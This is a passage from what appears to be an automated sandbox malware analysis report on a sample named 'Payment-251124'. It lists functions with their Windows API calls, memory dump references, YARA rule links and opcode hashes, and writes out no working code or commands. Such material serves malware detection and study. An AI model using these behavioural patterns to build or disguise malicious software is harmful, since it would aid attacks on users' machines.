                                                        • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EDD1BA
                                                        • GetStockObject.GDI32(00000011), ref: 00EDD1CE
                                                        • SendMessageW.USER32(00000000,00000030,00000000), ref: 00EDD1D8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateMessageObjectSendStockWindow
                                                        • String ID:
                                                        • API String ID: 3970641297-0
                                                        • Opcode ID: 2d9a2cdb77e432a4603312a90adbae60f1a9e57e17f0b4ce8c469a08c366582d
                                                        • Instruction ID: e3c308e4c244d948c81deb4dcb7a31045f0e89377c0366bafc0ddaa99ecb4880
                                                        • Opcode Fuzzy Hash: 2d9a2cdb77e432a4603312a90adbae60f1a9e57e17f0b4ce8c469a08c366582d
                                                        • Instruction Fuzzy Hash: A811ADB210650DBFEF124FA09C50EEABB6DFF19368F041102FE14A2250C7319C61ABA0
                                                        Function 00EF4DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                        • String ID:
                                                        • API String ID: 3016257755-0
                                                        • Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                        • Instruction ID: dd95914d55d1384eac4c6fad2ffb165bf060513e9ff97fb7929a4337f7a02c1d
                                                        • Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                        • Instruction Fuzzy Hash: E9014C7604014EBBCF125E84DC018EE3F63BB28354B589455FF2969075D336CAB1AB81
                                                        Function 00EE7452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EE7A0D: __getptd_noexit.LIBCMT ref: 00EE7A0E
                                                        • __lock.LIBCMT ref: 00EE748F
                                                        • InterlockedDecrement.KERNEL32(?), ref: 00EE74AC
                                                        • _free.LIBCMT ref: 00EE74BF
                                                        • InterlockedIncrement.KERNEL32(015C3298), ref: 00EE74D7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
                                                        • String ID:
                                                        • API String ID: 2704283638-0
                                                        • Opcode ID: 519cde26cd55ed1ac51662862f07d8c0f49c14763666290308ce2a05d924e5c7
                                                        • Instruction ID: 0640850f1170f9335fc15d3233a4fced69999fae37b4cf3ba0bfd745c23a59aa
                                                        • Opcode Fuzzy Hash: 519cde26cd55ed1ac51662862f07d8c0f49c14763666290308ce2a05d924e5c7
                                                        • Instruction Fuzzy Hash: 7601D63190576D97D722AF66940575DBBA0BF04718F155005F8ACB76C0C7305941EFD3
                                                        Function 00EE7A94 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • __lock.LIBCMT ref: 00EE7AD8
                                                          • Part of subcall function 00EE7CF4: __mtinitlocknum.LIBCMT ref: 00EE7D06
                                                          • Part of subcall function 00EE7CF4: EnterCriticalSection.KERNEL32(00000000,?,00EE7ADD,0000000D), ref: 00EE7D1F
                                                        • InterlockedIncrement.KERNEL32(?), ref: 00EE7AE5
                                                        • __lock.LIBCMT ref: 00EE7AF9
                                                        • ___addlocaleref.LIBCMT ref: 00EE7B17
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
                                                        • String ID:
                                                        • API String ID: 1687444384-0
                                                        • Opcode ID: 5c6bd53e7124f9fe54fe0d5735e9c5447e12d23e4e492ce375ee3e028dad4d02
                                                        • Instruction ID: 378b8ccf2cea6ecc6b98066fcbe0de78fc070a34a008b74d657114e0c98d2302
                                                        • Opcode Fuzzy Hash: 5c6bd53e7124f9fe54fe0d5735e9c5447e12d23e4e492ce375ee3e028dad4d02
                                                        • Instruction Fuzzy Hash: 3A016D71404B48EFD730DF76D90574ABBF0AF54325F20990EA4DAA72A1CBB0A680DB02
                                                        Function 00F2E32E Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F2E33D
                                                        • _memset.LIBCMT ref: 00F2E34C
                                                        • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00F83D00,00F83D44), ref: 00F2E37B
                                                        • CloseHandle.KERNEL32 ref: 00F2E38D
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _memset$CloseCreateHandleProcess
                                                        • String ID:
                                                        • API String ID: 3277943733-0
                                                        • Opcode ID: bef57e84efae032b60c75a9bcb7d176db390eb01f4b31a4cd682d5f770621706
                                                        • Instruction ID: 5051bdc9f97584b2088221fa4c7df2f1323a8f396a466fae847c709b8d611c36
                                                        • Opcode Fuzzy Hash: bef57e84efae032b60c75a9bcb7d176db390eb01f4b31a4cd682d5f770621706
                                                        • Instruction Fuzzy Hash: 7BF05EF254031CBBE6106BA1AC45FB77E9CDB05F54F014421FE08E61B2D3B59E00A7A8
                                                        Function 00F2EA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00EDAFE3
                                                          • Part of subcall function 00EDAF83: SelectObject.GDI32(?,00000000), ref: 00EDAFF2
                                                          • Part of subcall function 00EDAF83: BeginPath.GDI32(?), ref: 00EDB009
                                                          • Part of subcall function 00EDAF83: SelectObject.GDI32(?,00000000), ref: 00EDB033
                                                        • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00F2EA8E
                                                        • LineTo.GDI32(00000000,?,?), ref: 00F2EA9B
                                                        • EndPath.GDI32(00000000), ref: 00F2EAAB
                                                        • StrokePath.GDI32(00000000), ref: 00F2EAB9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                        • String ID:
                                                        • API String ID: 1539411459-0
                                                        • Opcode ID: 8e5ab274ae8cdec515c65cefd8c1a1a960ea6b29664fc696c3b0d75953deee82
                                                        • Instruction ID: 749f99dde684baea8d015d012199f099ef49732ef4063998653a612f572bc245
                                                        • Opcode Fuzzy Hash: 8e5ab274ae8cdec515c65cefd8c1a1a960ea6b29664fc696c3b0d75953deee82
                                                        • Instruction Fuzzy Hash: A6F0E23100526CBBDB129FA8AC0EFCE3F19AF26320F184201FE01610E183B85652EB95
                                                        Function 00EFC82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00EFC84A
                                                        • GetWindowThreadProcessId.USER32(?,00000000), ref: 00EFC85D
                                                        • GetCurrentThreadId.KERNEL32 ref: 00EFC864
                                                        • AttachThreadInput.USER32(00000000), ref: 00EFC86B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                        • String ID:
                                                        • API String ID: 2710830443-0
                                                        • Opcode ID: 8757013430b9e914af2b8928b7d899f462e614a1a6116e1a2d523ca4cf30538b
                                                        • Instruction ID: 08f310f98a30694fd857e34e984c96fb0c95add121bf4ffce3ae80ef1ad03a06
                                                        • Opcode Fuzzy Hash: 8757013430b9e914af2b8928b7d899f462e614a1a6116e1a2d523ca4cf30538b
                                                        • Instruction Fuzzy Hash: 3EE06D7514126CBAEB201BA2DC0DEEB7F1CEF267A1F508421BA0D94460C7B1D580EBE0
                                                        Function 00EFB0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentThread.KERNEL32 ref: 00EFB0D6
                                                        • OpenThreadToken.ADVAPI32(00000000,?,?,?,00EFAC9D), ref: 00EFB0DD
                                                        • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00EFAC9D), ref: 00EFB0EA
                                                        • OpenProcessToken.ADVAPI32(00000000,?,?,?,00EFAC9D), ref: 00EFB0F1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CurrentOpenProcessThreadToken
                                                        • String ID:
                                                        • API String ID: 3974789173-0
                                                        • Opcode ID: 13dfe4227de59b111df18be3c2fa653a126c6a861fcb60b98e436e5ebc263e44
                                                        • Instruction ID: 759d4af9f9cdad6697bef2e498f36198642af60e5a9a9e8ec537caef8672d8db
                                                        • Opcode Fuzzy Hash: 13dfe4227de59b111df18be3c2fa653a126c6a861fcb60b98e436e5ebc263e44
                                                        • Instruction Fuzzy Hash: 45E08636701215DBD7201FB59C0CB573BA8EF66795F018818FB41D6040EB348441D760
                                                        Function 00EDB47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSysColor.USER32(00000008), ref: 00EDB496
                                                        • SetTextColor.GDI32(?,000000FF), ref: 00EDB4A0
                                                        • SetBkMode.GDI32(?,00000001), ref: 00EDB4B5
                                                        • GetStockObject.GDI32(00000005), ref: 00EDB4BD
                                                        • GetWindowDC.USER32(?,00000000), ref: 00F3DE2B
                                                        • GetPixel.GDI32(00000000,00000000,00000000), ref: 00F3DE38
                                                        • GetPixel.GDI32(00000000,?,00000000), ref: 00F3DE51
                                                        • GetPixel.GDI32(00000000,00000000,?), ref: 00F3DE6A
                                                        • GetPixel.GDI32(00000000,?,?), ref: 00F3DE8A
                                                        • ReleaseDC.USER32(?,00000000), ref: 00F3DE95
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                        • String ID:
                                                        • API String ID: 1946975507-0
                                                        • Opcode ID: e2ba70228796e9a2c5d0eb40ce1724b2f3bbfad37a74f24455ea9bc279735823
                                                        • Instruction ID: 86e9ed8934e5c3b033c1e30d5b2bd105ee6999160a2fcd9f2f45f4fbf83b80b4
                                                        • Opcode Fuzzy Hash: e2ba70228796e9a2c5d0eb40ce1724b2f3bbfad37a74f24455ea9bc279735823
                                                        • Instruction Fuzzy Hash: A2E0ED35500284AAEB215B64BC09BD83F11AB66339F14C666FEBA980E2D7714581EB11
                                                        Function 00EFB2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00EFB2DF
                                                        • UnloadUserProfile.USERENV(?,?), ref: 00EFB2EB
                                                        • CloseHandle.KERNEL32(?), ref: 00EFB2F4
                                                        • CloseHandle.KERNEL32(?), ref: 00EFB2FC
                                                          • Part of subcall function 00EFAB24: GetProcessHeap.KERNEL32(00000000,?,00EFA848), ref: 00EFAB2B
                                                          • Part of subcall function 00EFAB24: HeapFree.KERNEL32(00000000), ref: 00EFAB32
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                        • String ID:
                                                        • API String ID: 146765662-0
                                                        • Opcode ID: 4ef09a2b695dd03b37b170acfabd0113f401c3583be8724fb53d93849bd37950
                                                        • Instruction ID: 7164a86178957edb77d282422de9174517f3ddfb9dce4d1542d9f30317ffae75
                                                        • Opcode Fuzzy Hash: 4ef09a2b695dd03b37b170acfabd0113f401c3583be8724fb53d93849bd37950
                                                        • Instruction Fuzzy Hash: 92E0E63E104009BFCB022F95DC08869FFB6FF997213108221FA1581575CB329471FB51
                                                        Function 00F3B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                        • String ID:
                                                        • API String ID: 2889604237-0
                                                        • Opcode ID: 418759380c82da85c4c579eeb19c4b14e72763ef3a815ee411f8ae0df0f05d45
                                                        • Instruction ID: d12c7d5f16118581de70a1e280dad5cad6b0789e2a0a6d0bb6ff97f70d7731d2
                                                        • Opcode Fuzzy Hash: 418759380c82da85c4c579eeb19c4b14e72763ef3a815ee411f8ae0df0f05d45
                                                        • Instruction Fuzzy Hash: 6AE04FB9100208EFDB015F70CC4C66E7BA8EF5C350F12D80AFD5A97310CB749841AB40
                                                        Function 00F3B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                        • String ID:
                                                        • API String ID: 2889604237-0
                                                        • Opcode ID: 0f6ee4590a9666a37ba6dec626c3b70bbd741478df9a3532995afa38ac10d976
                                                        • Instruction ID: 7e2b7f672b285a3e196859d5af8467f19fa06db9bdd134199abd67e8b7c78eb8
                                                        • Opcode Fuzzy Hash: 0f6ee4590a9666a37ba6dec626c3b70bbd741478df9a3532995afa38ac10d976
                                                        • Instruction Fuzzy Hash: BFE04FB9500208EFDB015F70CC4866D7BA8EB5D350F12940AFD5A97310CB7998019B00
                                                        Function 00EFDCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OleSetContainedObject.OLE32(?,00000001), ref: 00EFDEAA
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ContainedObject
                                                        • String ID: AutoIt3GUI$Container
                                                        • API String ID: 3565006973-3941886329
                                                        • Opcode ID: 659b7a8c992bb9e591cd596e85da0045382637d912913c73ac75357bd052a1dd
                                                        • Instruction ID: acff4c390859686888165562a328cf42b4e93819dcd3595085448c2fe0132a2f
                                                        • Opcode Fuzzy Hash: 659b7a8c992bb9e591cd596e85da0045382637d912913c73ac75357bd052a1dd
                                                        • Instruction Fuzzy Hash: DF914570604605AFDB24CF64C884F6ABBFABF49714F10856EF94ADB291DB71E841CB60
                                                        Function 00F0DE7C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDC6F4: _wcscpy.LIBCMT ref: 00EDC717
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • __wcsnicmp.LIBCMT ref: 00F0DEFD
                                                        • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00F0DFC6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                        • String ID: LPT
                                                        • API String ID: 3222508074-1350329615
                                                        • Opcode ID: 94651628eae39edf29fb5fd8a145f4bac919ec426c70df4620a2a4c0d333cc21
                                                        • Instruction ID: 7b0f53c218e7011a22f26a410884bb78a6131fc0685a91f7d05d0d2c362c98c5
                                                        • Opcode Fuzzy Hash: 94651628eae39edf29fb5fd8a145f4bac919ec426c70df4620a2a4c0d333cc21
                                                        • Instruction Fuzzy Hash: A8618076E00215AFCB14DF98C985EAEB7F4FF18310F00805AF546AB291DB70AE41EB90
                                                        Function 00EDBCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • Sleep.KERNEL32(00000000), ref: 00EDBCDA
                                                        • GlobalMemoryStatusEx.KERNEL32 ref: 00EDBCF3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: GlobalMemorySleepStatus
                                                        • String ID: @
                                                        • API String ID: 2783356886-2766056989
                                                        • Opcode ID: 2c0d3d9e382c6dc8f512af5e28505653fcc1172c92e4fc6c4e27724f5594846c
                                                        • Instruction ID: 4a0804ea233e3a3f87c89e4276766950dd81c9bd702015f993e993265f50e349
                                                        • Opcode Fuzzy Hash: 2c0d3d9e382c6dc8f512af5e28505653fcc1172c92e4fc6c4e27724f5594846c
                                                        • Instruction Fuzzy Hash: 795147714187489BE320AF14DC86BAFBBE8FFE4354F41484EF2C8511A2DB7089A98752
                                                        Function 00F0C56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC44ED: __fread_nolock.LIBCMT ref: 00EC450B
                                                        • _wcscmp.LIBCMT ref: 00F0C65D
                                                        • _wcscmp.LIBCMT ref: 00F0C670
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
